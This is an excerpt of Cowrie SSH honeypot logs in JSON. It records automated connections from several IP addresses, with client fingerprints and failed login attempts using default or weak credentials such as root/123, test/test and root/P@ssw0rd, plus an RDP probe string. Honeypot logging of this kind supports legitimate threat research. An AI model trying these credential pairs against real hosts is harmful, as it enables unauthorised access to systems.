{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:05.700883Z","src_ip":"83.168.110.85","session":"253ed916ddba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:06.064411Z","src_ip":"83.168.110.85","session":"253ed916ddba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:07.265245Z","src_ip":"83.168.110.85","session":"253ed916ddba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae9db17d5471","protocol":"ssh","message":"New connection: 167.172.81.52:50300 (159.203.135.109:22) [session: ae9db17d5471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:08.562516Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:08.570481Z","src_ip":"167.172.81.52","session":"ae9db17d5471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:08.574274Z","src_ip":"167.172.81.52","session":"ae9db17d5471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59326,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e885d12f245","protocol":"ssh","message":"New connection: 83.168.110.85:59326 (159.203.135.109:22) [session: 0e885d12f245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:15.929162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:15.934322Z","src_ip":"83.168.110.85","session":"0e885d12f245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:16.056570Z","src_ip":"83.168.110.85","session":"0e885d12f245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:16.422519Z","src_ip":"83.168.110.85","session":"0e885d12f245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:17.641527Z","src_ip":"83.168.110.85","session":"0e885d12f245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50260,"dst_ip":"159.203.135.109","dst_port":22,"session":"db055a4aae62","protocol":"ssh","message":"New connection: 83.168.110.85:50260 (159.203.135.109:22) [session: db055a4aae62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:26.307794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:26.312606Z","src_ip":"83.168.110.85","session":"db055a4aae62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:26.434305Z","src_ip":"83.168.110.85","session":"db055a4aae62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:26.804738Z","src_ip":"83.168.110.85","session":"db055a4aae62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:27.943722Z","src_ip":"83.168.110.85","session":"db055a4aae62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":32936,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8bbfd0d3afe","protocol":"ssh","message":"New connection: 46.19.67.181:32936 (159.203.135.109:22) [session: c8bbfd0d3afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:28.043210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:28.048228Z","src_ip":"46.19.67.181","session":"c8bbfd0d3afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:28.164237Z","src_ip":"46.19.67.181","session":"c8bbfd0d3afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aa","message":"login attempt [root/123123aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:28.515352Z","src_ip":"46.19.67.181","session":"c8bbfd0d3afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:29.635422Z","src_ip":"46.19.67.181","session":"c8bbfd0d3afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":55846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2fd17d3e3d","protocol":"ssh","message":"New connection: 4.184.246.230:55846 (10.17.0.5:22) [session: ca2fd17d3e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:35.422837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:35.427838Z","src_ip":"4.184.246.230","session":"ca2fd17d3e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:35.514802Z","src_ip":"4.184.246.230","session":"ca2fd17d3e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1995","message":"login attempt [root/root1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:35.893779Z","src_ip":"4.184.246.230","session":"ca2fd17d3e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54656,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3b75eae18f","protocol":"ssh","message":"New connection: 83.168.110.85:54656 (159.203.135.109:22) [session: 1d3b75eae18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:36.729201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:36.734157Z","src_ip":"83.168.110.85","session":"1d3b75eae18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:36.855742Z","src_ip":"83.168.110.85","session":"1d3b75eae18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:36.982950Z","src_ip":"4.184.246.230","session":"ca2fd17d3e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:37.220476Z","src_ip":"83.168.110.85","session":"1d3b75eae18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:38.344756Z","src_ip":"83.168.110.85","session":"1d3b75eae18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":43978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c85057b91c1","protocol":"ssh","message":"New connection: 89.108.118.91:43978 (159.203.135.109:22) [session: 5c85057b91c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:42.805993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:42.810828Z","src_ip":"89.108.118.91","session":"5c85057b91c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:42.953151Z","src_ip":"89.108.118.91","session":"5c85057b91c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789x","message":"login attempt [root/123456789x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:43.368122Z","src_ip":"89.108.118.91","session":"5c85057b91c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:44.675134Z","src_ip":"89.108.118.91","session":"5c85057b91c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41470,"dst_ip":"159.203.135.109","dst_port":22,"session":"c27a35ffab2c","protocol":"ssh","message":"New connection: 83.168.110.85:41470 (159.203.135.109:22) [session: c27a35ffab2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:46.924374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:46.928425Z","src_ip":"83.168.110.85","session":"c27a35ffab2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:47.049137Z","src_ip":"83.168.110.85","session":"c27a35ffab2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:47.413904Z","src_ip":"83.168.110.85","session":"c27a35ffab2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:48.536520Z","src_ip":"83.168.110.85","session":"c27a35ffab2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46538,"dst_ip":"159.203.135.109","dst_port":22,"session":"69d1dff46354","protocol":"ssh","message":"New connection: 83.168.110.85:46538 (159.203.135.109:22) [session: 69d1dff46354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:57.217016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:14:57.222260Z","src_ip":"83.168.110.85","session":"69d1dff46354","protocol":"ssh"}
